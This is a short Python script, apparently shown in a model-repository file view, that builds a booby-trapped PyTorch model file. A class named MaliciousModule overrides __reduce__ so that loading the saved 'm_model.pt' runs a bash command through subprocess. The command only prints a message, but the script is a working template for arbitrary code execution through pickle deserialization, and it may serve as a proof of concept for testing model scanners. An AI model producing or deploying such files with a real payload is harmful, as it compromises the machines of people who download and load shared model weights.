File size: 358 Bytes
df6d864 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
import torch
import subprocess
class MaliciousModule(torch.nn.Module):
def __init__(self):
super(MaliciousModule, self).__init__()
def forward(self, x):
return x
def __reduce__(self):
return (subprocess.check_call, ('/bin/bash -c "echo Hello from malware!"',))
model = MaliciousModule()
torch.save(model, 'm_model.pt') |